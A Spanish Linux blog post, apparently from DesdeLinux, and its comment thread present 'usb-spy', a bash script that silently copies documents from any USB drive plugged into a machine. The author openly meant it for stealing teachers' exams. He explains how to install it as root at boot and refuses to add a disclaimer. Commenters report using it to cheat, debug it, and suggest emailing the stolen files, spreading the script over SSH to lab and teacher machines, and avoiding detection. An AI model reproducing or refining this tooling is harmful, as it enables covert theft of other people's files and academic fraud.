Yo siempre fui un alumno inquieto, siempre deseando sacar partido de oportunidades como… por ejemplo, copiar los exámenes del semestre del pendrive del profesor o algo así. Cuando estudiaba en la enseñanza media (especialidad informática) deseé programar «algo» que hiciera lo siguiente:
- Detecte cuando se conecta un dispositivo USB en el ordenador de la clase
- Copie todo el contenido de ese dispositivo hacia el ordenador
Esto me permitiría tener el examen mucho tiempo antes, solo sería necesario que el profesor conectara su memoria USB (pendrive) en el ordenador y listo.
Desafortunadamente en mi instituto los ordenadores tenían Windows y … yo jamás y nunca aprendí a programar para este OS.
No obstante ahora uso Linux (obvio no? LOL!), y con los conocimientos que a lo largo de estos años he podido ir adquiriendo, ahora SÍ! ya puedo lograr esto con Linux 😀
O sea, he programado un simple script que hace lo siguiente:
1. Crea la carpeta /home/.USBDRIVES/
2. Está comprobando cada 5 segundos si hay algún dispositivo USB (o CD/DVD) conectado al ordenador.
3. En caso de que esté alguno conectado, creará una carpeta dentro de /home/.USBDRIVES/ con el nombre del USB (por ejemplo: memoria-2gb) y además, copiará todos los archivos .doc, .pdf, etc (aquí el listado) hacia esta carpeta que recién acaba de crear.
4. En caso de que no haya ningún USB conectado, simplemente esperará 5 segundos para volver a iniciar la comprobación que expliqué arriba 😀
Aquí les dejo el script y el archivo que contiene los formatos que se copiarán:
Para que el script pueda funcionar sin ningún tipo de problemas, lo mejor es que sea iniciado con privilegios administrativos (root), así como es obvio que se necesita que se inicie junto al ordenador, de esta forma nos aseguramos que si el ordenador es reiniciado o apagado, cuando vuelva a iniciar el script estará ahí funcionando, listo para extraer de cualquier USB lo que deseamos 😉
Vamos a abrir una terminal… una vez abierta…
1. Supongamos que tenemos ambos archivos en /opt/ (/opt/usb-spy.sh y /opt/usb-spy.files), debemos darle privilegios de ejecución:
sudo chmod +x /opt/usb-spy.sh
2. Abrimos el archivo /etc/rc.local :
sudo nano /etc/rc.local
3. En él escribimos arriba de la línea final (exit 0) lo siguiente:
/opt/usb-spy.sh &
4. Ahora presionamos [Ctrl]+[X] para guardar y salir del archivo, presionamos [S] o [Y] (en dependencia del idioma del sistema) y luego [Enter]. Esto bastará para que se guarden los cambios que hicimos.
Y listo, esto bastará para que el script se inicie como root cuando encendamos el ordenador.
Es importante verificar que el archivo usb-spy.files esté en el mismo directorio de usb-spy.sh 😉
Ahora… explicaré un poco el funcionamiento interno del script, pues sé que hay muchos amantes de Bash por acá 😀
Q: ¿Cómo el script sabe que hay un dispositivo USB conectado? A: En el archivo /etc/mtab de nuestro sistema se encuentran los dispositivos o particiones que están montadas en nuesto sistema. Mediante la línea 23 del script se sabe si hay un USB conectado o no (haciendo cat al mtab y grep media)
Q: Sí, pero ¿cómo el script sabe si el cat y grep nos devuelve algún dato o no? A: Mediante un ciclo if, then, else que empieza en la línea 24.
Q: ¿Cómo hacer que copie solamente los archivos con extensiones deseadas? (.doc, .pdf, etc)
A: Mediante rsync con varios parámetros, esto es en la línea 34. Explicado de forma simple, con rsync copio solamente los archivos que coincidan con el filtro usb-spy.files, cada línea es un filtro por así decirlo. Además le paso el parámetro --prune-empty-dirs
a rsync para que no me cree directorios vacíos.
No hay mucho que explicar en realidad, el script es realmente simple de entender 🙂
Si alguien tiene cualquier duda o pregunta, queja, idea o sugerencia por favor, que lo diga y prometo ayudarles en todo cuanto pueda.
Y bueno, estaba pensando poner algo como: «este script solo es para propósitos educativos, no usar con files dañinos» … pero… qué demonios!, úsenlo para lo que deseen, es hora de que los estudiantes tengamos algún tipo de ventaja contra los profesores que nos oprimen 😀
Saludos
93 comentarios, deja el tuyo
Tramposo ¬¬
XDDDD
Nah para nada … si seguro tú igual pensaste en algún momento hacer algo así … JAJAJA.
Me salvaste de un examen sorpresa 😀 … Ahora tu «KZKG^Gaara» Eres mi dios… Alabado seas!
Holaa, muy buen script, pero en mega ya no existe el archivo, me lo podés pasar a mi correo, porfa
Linux es el 1% y dices que nunca aprendiste a programar para windows asi que el tuto es para un sistema linux, mi pregunta es: ¿que posibilidad hay en encontrar un profe que use linux para poder llevar a cabo el tuto?
Este script o truco se «implementa» en un ordenador que no necesariamente tiene que ser el personal o propio del profesor, basta con que sea un ordenador cualquiera de una Universidad o Colegio, luego solo quedaría lograr por X o Y motivo que el profesor conecte su USB en ese ordenador.
Sí, es para Linux, pero muchas universidades tienen Linux como sistema en laboratorios de ordenadores, así como también se podría bootear con un LiveCD y no necesariamente instalar Linux en el PC 🙂
Sobre lo del 1%, te recomiendo leer este post: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/
La posibilidad de que un Meteorito gigante caiga sobre el Atlantico en aproximadamente 30 min
Se ve interesante, habrá que probarlo.
Gracias
La utilidad que tiene no es la gran cosa, pero el script como tal está interesante… pues se pueden aprender varios tips de él, por ejemplo el cómo saber los USB conectados, tamaño de particiones, etc 🙂
Un artículo original y muy bien explicado KZKG^Gaara. Saludos!
Gracias 🙂
Que desfachatez!!!, y te atreves a escribirlo en el blog O-O, no se que pensar, será que hackeron a Gaara algién que no lo quiere bien?
¿desfachatez? ¿por qué?
Si bien el propósito o motivo del script puede no resultar algo tan serio como el resto de mis aportes, el script, sus líneas y lógica de programación sí que tiene mucho que aportar pienso yo.
De este script se pueden aprovechar varias cosas:
1. El cómo saber el tamaño de una partición y que esto sea una variable.
2. El cómo comprobar si existe un USB conectado y extraer su path y nombre.
3. Ciclos if-then-else y while.
En fin, que no creo que esto sea algo del todo useless o algo así.
Creo que tu interpretas mal mi comentario, yo me refiero al inicio de tu articulo,
«Yo siempre fui un alumno inquieto, siempre deseando sacar partido de oportunidades como… por ejemplo, copiar los exámenes del semestre del pendrive del profesor o algo así.». Si te molesto lo que exprese, espero me disculpes, no fue mi intención.
o.O qué excelente blog, buenos artículos, buenos lectores, los usuarios se disculpan… es el paraíso jejeje libre de trolls.
Gracias ^-^
Estamos orgullosos de lo que hemos logrado hasta ahora, esta comunidad es de veras un orgullo… es genial formar parte de todo esto 😀
No no no para nada, en realidad no me molesté ni mucho menos xD
Y síp jeje fue mi error por malinterpretar tu comentario jejeje, sorry por eso 😉
Nada que las disculpas vienen de mi parte ahora, tendré que lavarme la cara a ver si termino de despertarme que … por lo que veo, aún no ando al 100% JAJAJA.
Saludos amigo 🙂
Finísima persona xD
Me gustaría q los ordenadores de mi facultad tengan Linux muhahahjaja.
Buen Articulo!
Pero al que quiera imitarlo en Windows va a ser más fácil, porque a donde en la máquina que quieras usarlo no tengas acceso al root no podes dejarlo «para siempre». Con Windows eso no pasa 😉
Muy bueno jeje.
La idea es buena solo tiene la debilidad de tener que usar privilegios de Root
Bueno, en realidad no necesita ser root como tal … si se le declara al script que la carpeta NO será /home/.USBDRIVES como le puse yo, y se le pone por ejemplo: /home/usuario/.USBDRIVES … entonces ejecutando el script con «usuario» bastará 😀
Es buena idea, pero creo que te ahorrarias modificar el rc.local y correrlo cada minuto mediante crontab, y así te evitas el problema de correrlo como root y lo demás, por otro lado, aunque no afecte mucho, consumes memoria de la pc inutilmente cada 5 segundos para verificar si esta la usb, aun cuando no esté. Bueno ese es mi punto de vista
O sea, hacer una comprobación cada 1 minuto no? No lo hice así porque… ¿y si se conecta y desconecta un USB en menos de 1 minuto? 😀
Preferí hacerlo cada 5 segundos para asegurar de veras «capturar» todos los USB 😉
Si te entendí mal, por favor corrígeme 🙂
Saludos y bienvenido.
Si, hacer la comprobación cada minuto a través de cron, pero bueno cada uno tiene una forma distinta de ver el problema, nada mas que viendo el codigo, no sería mejor verificar si ya existe la carpeta de /home/.USBDRIVES antes de crearla, es una sugerencia nada mas
Saludos
Sí también, es un detalle del que me percaté pero… me dió vagancia solucionarlo LOL!
Igual podría poner un log donde se muestren los archivos que se han copiado (log individual para cada dispositivo), tal vez inclusive enviar mediante email este log (usando algún método de enviar email por terminal de los que he puesto acá en el sitio) … pero como te dije, me da un poco de pereza ^-^U
Jajajaja genial.
¡Ajá! O sea que tu software puede ser usado para el mal. ¡Jajajaja!!! 🙂
Está bien el truco, pero… ¿y si se quiere desmontar el USB antes de que el script termine de copiar su contenido? En ese caso se quejará de que está en uso y se notará que hay algo raro. 🙂
En realidad el sistema no permitirá que se desmonte el USB pues «algo» lo estará usando 😉
¡Exacto! Y entonces es cuando el profesor de Oscar piensa que ha encontrado un virus para linux. ¡Jajajaja!! 🙂
Me hiciste recordar una vez que hice algo similar ( en mi Uni si teniamos linux/windows), pero yo hice un programa en C que generaba miles de carpetas. Le tapicé la USB a un chavo que la conectó. El encargado del centro de cómputo estaba asombrado! Creyó encontrar un virus en linuxx muajajajaja … ahhh .. que tiempos aquellos =)
y cual es la diferencia con un virus ?
Que yo me metí remotamente a su USB y ejecuté el programa 😛
jajajajaj , entonces fue un hackeo XD
😀
hehehehehe así que encontró un virus en Linux no? … LOL!!
A mi no me acaba de funcionar xD, si lo intento ejecutar desde la terminal me dice esto: ./usb-spy.sh: line 31: [: -lt: unary operator expected
Parece que hay algún problema con esta línea: if [ $USBSIZE -lt 15664800 ]; then
Pero no sé cual es, porque no crea además el directorio .USB.
Si se puede resolver puede resultarme un script útil.
Prueba a reemplazar df por /bin/df y asegurate de lanzarlo como root.
Vale, ahora si crea la el la carpeta .USB dentro de el directorio home, pero me sigue diciendo por la terminal que: «./usb-spy.sh: line 31: [: -lt: unary operator expected» y no copia nada, en esa línea tiene que haber algún conflicto, agradezco la ayuda si alguien lo ve.
Muchas gracias.
¿Puedes ponernos el contenido de tu fichero /etc/mtab cuando el USB está montado?
Claro, aquí va:
/dev/sda12 / ext4 rw,errors=remount-ro 0 0
proc /proc proc rw,noexec,nosuid,nodev 0 0
sysfs /sys sysfs rw,noexec,nosuid,nodev 0 0
none /sys/fs/fuse/connections fusectl rw 0 0
none /sys/kernel/debug debugfs rw 0 0
none /sys/kernel/security securityfs rw 0 0
udev /dev devtmpfs rw,mode=0755 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=0620 0 0
tmpfs /run tmpfs rw,noexec,nosuid,size=10%,mode=0755 0 0
none /run/lock tmpfs rw,noexec,nosuid,nodev,size=5242880 0 0
none /run/shm tmpfs rw,nosuid,nodev 0 0
binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,noexec,nosuid,nodev 0 0
/dev/sdb1 /media/DOCU403 vfat rw,nosuid,nodev,uid=1000,gid=1000,shortname=m$
Las últimas líneas son las del USB montado /dev/sdb1
A ver si lo conseguimos. 🙂
Ponnos la salida del comando df. Y prueba a añadir la linea:
echo $USBSIZE
Justo delante del if que dá el problema y dinos lo que sale al lanzar el script. Tiene que quedar algo como esto:
USBSIZE=`/bin/df | grep $USBDEV | awk {‘print $2’}`
echo $USBSIZE
if [ $USBSIZE -lt 15664800 ]; then
Y por si acaso, dinos también cuál es la salida del comando which df.
Vale, por partes, el comando df me devuelve esto:
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sda12 54082300 45246956 6125892 89% /
udev 2004028 4 2004024 1% /dev
tmpfs 805768 1180 804588 1% /run
none 5120 0 5120 0% /run/lock
none 2014420 92 2014328 1% /run/shm
/dev/sdb1 1023200 322256 700944 32%/media/DOCU 3
El comando which df me devuelve: /bin/df
Luego, he puesto lo de echo $USBSIZE, y el resultado es el mismo, no me imprime nada nuevo, sino el error de antes, lo curioso es que eso ocurre con el USB que estoy probando, si pongo el disco duro externo de 500GB si que me devuelve por pantalla el tamaño del disco, pero los 500 exceden a los 16 del if por tanto con el disco duro no hace nada.
Pero con el USB no hace nada, más que mostrar el error: ./usb-spy.sh: line 34: [: -lt: unary operator expected
Es como si no pudiera mostrar el tamaño del USB, pero con el comando df si que me sale su tamaño.
Gracias por la ayuda, a ver si lo podemos conseguir!!.
Por si acaso lo del comando no se viera bien aquí dejo un pantallazo: http://i48.tinypic.com/j5dvn5.jpg
Veo que en el mtab la ruta en la que aparece montado es «/media/DOCU403» mientras que en df aparece «/media/DOCU 3». Esto hace que grep no lo encuentre y no devuelva el tamaño. Prueba a cambiar las primeras lineas del for de manera que queden así:
for USBD in `cat /etc/mtab | grep media | awk ‘{print $1}’` ;
do
USBDEV=`cat /etc/mtab | grep $USBD | awk ‘{print $2}’`
USBSIZE=`/bin/df | grep $USBD | awk {‘print $2’}`
Los cambios consisten en cambiar el nombre de la variable del for por USBD, cambiar el $2 del final de la linea del for por $1, insertar la linea que empieza por USBDEV justo después del do y cambiar USBDEV por USBD en la linea que empieza por USBSIZE… espero no haberme liado. 🙂
La idea es hacer el for por el nombre del dispositivo en vez de por el punto de montaje.
El problema era que en el mtab cuando un dispositivo tiene espacios… pone unos caracteres «extraños» en la línea, específicamente en el lugar del espacio.
Nada, tan simple de solucionar como cambiar la forma en que se designa $USBDEV, en la línea 28 cambiarla y ponerla así:
for USBDEV in `df | grep media | awk -F / {'print $5'}` ;
😀
Déjeme ver si los puedo ayudar…
El operador unario lo muestra porque no localiza el tamaño del disco,esto pasa porque no lo checa,esto pasa porque se llama
DOCU 3
y lo toma como dos valores,si fuera DOCU no abría problema
Tal vez les funcione esto
http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html
Un Saludo 🙂
Efectivamente ese es el problema, porque acabo de probar con otros USB que tienen un nombre con una palabra sin espacios, ejemplo «clases» y el script funciona sin problemas, por eso reconocía el disco duro y no las memorias, pero ahora la cosa está en saber como pongo yo las comillas en el código del script, ¿se las tengo que poner a «$USBNAME»?.
Muchas gracias a Atheyus y a Hexborg por la ayuda, ya casi está conseguido.
En realidad Semproms es super simple de arreglar 😉
La línea 28 … cámbiala por esta:
for USBDEV in `df | grep media | awk -F / {'print $5'}` ;
Acabo de hacer la prueba con este cambio y funciona bien con dispositivos cuyo label/nombre tenga un espacio 😉
Ahora haré el cambio en el script para descargar.
Muy bueno. Así sí que es sencillo de arreglar. 🙂
Ohhh, muy ingenioso 😀 Tomaré nota por si me llega a hacer falta…
KZKG^Gaara, con ese arreglo funciona perfectamente, ahora si que copia de los USB con espacio en el nombre, muchas gracias a todos por la ayuda, voy a probar a ver si puedo hacer que se ejecute con el arranque del sistema y que así que vaya comprobando a cada ciclo si hay algún USB conectado.
Al final lo hemos conseguido xD.
^-^ … un gusto jeje.
El problema era que yo usaba mtab para reconocer los USB pudiendo haber usado simplemente df … usé mtab porque pensé que sería interesante explicarles este archivo, que lo conocieran, pero no preví que sucedería este error con dispositivos con espacios jejeje.
Cualquier duda o problema lo dejas dicho, a casi todos por acá nos gusta ayudar xD
Saludos
Por supuesto. Somos linuxeros. Siempre lo conseguimos. XD.
Instalarle un demonio a la PC del profesor que genere un registro de todos los .doc, .docx, .odt, .pdf y te los mande por mail. Así como que escanee la PC cada cierto tiempo en busca de cambios, nuevos ficheros o eliminaciones en dicho regsitro, y anet cualquier novedad te envíe el fichero modificado o nuevo por mail también.
Igual, creo que más que una pillada, ejecutar ese script (Y COMO ROOT !!!!) es un suicidio. Le estás facilitando la vida y las cosas en un 700% a cualquiera interesado en insertar un fichero en tu PC con permisos de root y todo. Acuérdate que en Linux no existen las extensiones y que un .doc en linux puede ser lo mismo un texto, que un video o peor aún, un script (esta vez con muy malas intenciones).
Ejecutarlo como root no es completamente necesario, basta con definir la carpeta donde se pondrá el contenido en algún lugar que el usuario que ejecuta tenga permisos de escritura (por ejemplo, su propio home) y listo 🙂
Sobre lo archivos peligrosos … bueno, se podría agregar unas líneas que le harían un chmod -x a todos los archivos, así perderían la propiedad de ejecución.
He añadido estas líneas al inicio para que borre la carpeta .USBDRIVES en el caso de que ya estuviera creada:
if [ -s $PLACE ]
then rm -r $PLACE
fi
así no dará el error de «directorio ya existente», eso si hay que tener cuidado de que en la carpeta .USBDRIVES no haya nada que no queramos que se borre, porque la va a borrar y poner otra en su lugar.
Para agregar nuevos formatos de archivo, basta con escribirlos en usb-spy? por ejemplo .jpg .mp3 etc.
Para agregar tipos de archivo nuevo lo pones en el usb-spy.files
Mira el contenido del archivo y verás cómo agregarlos, es bastante simple 😉
Si estamos en la misma red, y existe una maquina del profesor, lo interesante seria hacer un mapeo de red, puede que tengamos ssh en las maquinas y de esa manera distribuir el código en las maquinas del laboratorio o incluso en la maquina del profesor…. Esto me da taaantas ideas :$
Hola , te felicito por el post y todos tus aportes , pero tengo una consulta , a ver si alguien me puede solucionar este problema:
Estube probando tu script en una pc con ubuntu 12.04LTS ( con Unity) y funciono perfecto , pero como veia que se ejaba de ejecutar el este script luego de la primera vez que esra ejecutado , debido a que ya estaba creada la carpeta .USBDRIVES , decidi usar directamente el este otro script de tu autoria que estaba posteado en otra parte de este foro
aca copio el script para que te ubiques
#!/bin/bash
#
# -*- ENCODING: UTF-8 -*-
# Este programa es software libre. Puede redistribuirlo y/o
# modificarlo bajo los términos de la Licencia Pública General
# de GNU según es publicada por la Free Software Foundation,
# bien de la versi’n 2 de dicha Licencia o bien (según su
# elección) de cualquier versión posterior.
#
# Si usted hace alguna modificación en esta aplicación,
# deberá siempre mencionar al autor original de la misma.
#
# Copyleft 2012, DesdeLinux.net {Ciudad Habana, Cuba}.
# Autor: KZKG^Gaara
WHILE=0
while [ $CONTROL=0 ] ; do
cat /etc/mtab | grep media >> /dev/null
if [ $? -ne 0 ]; then
CONTADOR=0
else
CONTADOR=1
: ${USBDEV:=`cat /etc/mtab | grep media | awk ‘{print $2}’`»/»}
cp $USBDEV/* /home/
fi
sleep 5
done
exit 0
El tema es el siguiente en ubuntu12.04 lts unity ese ultimo scritp corre bien y funciona pero al hacerle un downgrade a la misma pc por «x» motivo ,y tratar de hacerlo funcionar en ubuntu 10.10 no ,lo puedo hacer funcionar
por un lado me tira error y no me lee los pendrives que tienen nombre compuesto por ej : DATA-G , ni tampoco me copia los archivos que tienen nombre compuesto . A parte de este problema tengo el problema que solo se ejecuta el script al reiniciarla la pc una sola ves .
La pregunta seria : como puedo hacer que ese script me copie pendrives y archivos con nombre compuesto
y si usando crontab o puedo programar para que funcione en un determinado momento
Otro detalle , en ubuntu 10.10 , como usa Gnome quisiera agregar algunas acotaciones para tengan en cuenta , al darle privilegios de ejecucion a un script , este debe estar ubicado en /etc/init.d no en /etc/
(tener en cuenta que hay que pegarlo ahi llegando desde terminal con sudo nautilus)
por otro lado otra acotacion seria que luego de pegarlo ahi para saber si se puede ejecutar hay que hacer en otro terminal
sudo su ( para ser root)
password
ls
cd /etc/ init.d
ls -l
y ahi nos salta si esta en ejecucion o no
luego en el mismo terminal o en otro terminal en otro momento estando como root y estando en etc/init.d(osea hasta el paso cd/etc/init.d) como en el anterio terminal seguimos de la siguiente forma para darle permisos de ejecucion
sudo chmod +x script.sh
update -rc.d script.sh defaults 80
reboot
repito eso es para que se autoejecute en ubuntu 10.10 si es otra version como la 12.04 hay que hacer lo que dice KZKG^Gaara
Y una ultima pregunta como me interesa que se copie el contenido ( hasta de3 subcarpetas del pendrive) al home o a una carpeta en el home oculta o no , supongamos que fuera .USBDRIVES
en el codigo no tendria que decir
cp -r /media/*/*/*/home/.USBDRIVES/*
En definitiva para conseguir lo que quiero como tendria que quedarme el script ?
porque ya intente modificar la linea que le modificaron al usb-spy sh pero a ese otro que graba directamente en home y me tira erro en la linea modificada .? Saludos . Gracias
yo no puedo bajar el segundo script
Muy bueno. 😉
¿Y si no hago los pasos que pones que pasa? ¿No se ejecuta o simplemente se ejecuta pero sin root? ¿Si los ordenadores tienen un sistema que digamos restaura toda la configuración interna del ordenador al apagarlo funcionará? Gracias.
En el caso de que el sistema tenga ‘algo’ que vuelva a poner por default la carpeta /home/ entonces debes modificar el script, donde dice /home/ cambiarlo por /opt/ o alguna otra carpeta que no se vea afectada.
Creo que para mejorar el script y evitar que se note la intromisión en el pendrive lo óptimo consitiría en que se priorice tipo, tamaño del archivo. Por ejemplo dejar para el final archivos voluminosos de 100 megas o más. O primero copiar archivos doc, docx, txt, pdf, xml,… etc etc etc y dejar para el final archivos avi, mp4, mkv…
Hola, esta buena la idea. quería hacer dos preguntas:
– Se puede hacer a la inversa? hacer un scrip para el penderiver, que este se conecte en cualquier maquina y extraiga archivos.
– sirve para SO Windows?
Hola,
No estoy seguro de cómo se podría hacer que al conectar el pendrive, el mismo pendrive auto-ejecute un script que tenga dentro.
Y no, este script no sirve para Windows 🙂
Ok, gracias por responderme.voy a investigar como hacerlo
Que buen script. He estado analizandolo, y me parece una pasada, ojala algun dia yo tambien pudiera hacer scripts tan practicos asi.
Excelente aporte, aunque la utilidad que le dare no es exactamente para lo que lo planteaste, si lo uso para respaldos de archivos de un grupo de usuarios mala conducta que tengo… jejejeje….
cuando yo lo intento correr me da este error línea 31: [: demasiados argumentos
elimine esa linea para ver si funcionaba. y resulta que es la linea que restringe el tamaño de los dispositivos.
al quitarlo copia lo que tengo en mis particiones montadas 🙁
Holaa soy nuevo y se que es viejo el pots pero me gusto mucho es muy educativo tu script
Gracias por comartirlo y explicarlo detalladamente…
Saludo
amigo me as salvado solo basto distraer al profe e introducir el usb a mi portatil y luego jajajaaj examen pasado y notas de todos jejejje
Me podróas pasar el script el enlace está caido
Me puedes pasar el script el enlace está caido
kzkggaara, ¿podrias resubir los archivos? los links están caidos :/, muchas gracias
pueder serubir links porfa??
oye! tio! tienes los ensalces caídos podrías subirlos de nuevo!
vale! :v
bueno, hago esto de nuevo porque no se si se subio lo que queria decir….
bien se trata de que tienes los enlaces caidos puedes subirlos!
Los enlaces estan caidos!!!
Resube los links por favor @usemoslinux estoy investigando acerca del tema, gracias!
El script se puede bajar de aqui. Creo que es elmismo
https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk
Bueno pues….
Opino desde mi humilde punto de vista que es un gran articulo y pues si existen personas que dicen que eres tramposo pues yo opino que es segun el proposito para el que uses el programa.
A mi personalmente me gusto más por conocer el lenguaje de programación para linux puesto que solamente he trabajado en java, gracias compañero me has despetado el interes por conocer mas del lenguaje para linux.
Te agradezco.
Hola amigos pues yo encontre otra fomra de usar este scrip es es haciendo backup, les platico un poco yo tengo dos dispositivos una camara y un hdd lo que yo quiero es que en ves que grabe los archivos los archivos locales los guarde un un hdd externo desde la camara hasta el hddpero me da un error que dice «too many arguments» me podrian ayudar
Solo funciona con dispositivos con sistemas operativos linux?
Que alguien lo resuba, por favor!
Hola, no tengo linux y en mi escuela usan Windows, use la app a de usb capture y copio solo 5 archivos de la memoria del profe, sospecho q tiene protección esa usb, por que en dos ocasiones sucedió lo mismo, habrá alguna otra forma de sustraer la informacion completa de esa usb?
Vaya si bien dices será sencillo el código, pues parece muy interesante el ver funcionar los métodos para ver si está conectado un USB o el tamaño de la partición. Lastima que han removido el script de mega.nz, podrías subirlo de nuevo?.
Saludos y gran trabajo, simple pero funcional incluso para automatizar copias desde USB!!!
Buenas!
Acabo de entrar a tu artículo del blog, y realmente estoy interesado. Lo que pasa es que al darle al archivo .zip que te redirige a mega pone que el archivo ya no está disponible.
Me preguntaba si me podrías mandar esos archivos que se supone que hay que descargar.
Muchas gracias y saludos!
La tecnología tiene la costumbre de reducir su tamaño a medida que pasan los años. Y eso ha sucedido en un grado increíble con las unidades de estado sólido (SSD). Ahora puede obtenerlos en el mismo tamaño que las unidades flash USB más rápidas.
https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/
¿Me puedes mandar el archivo o volverlo a subir? Sale que no se puede descargar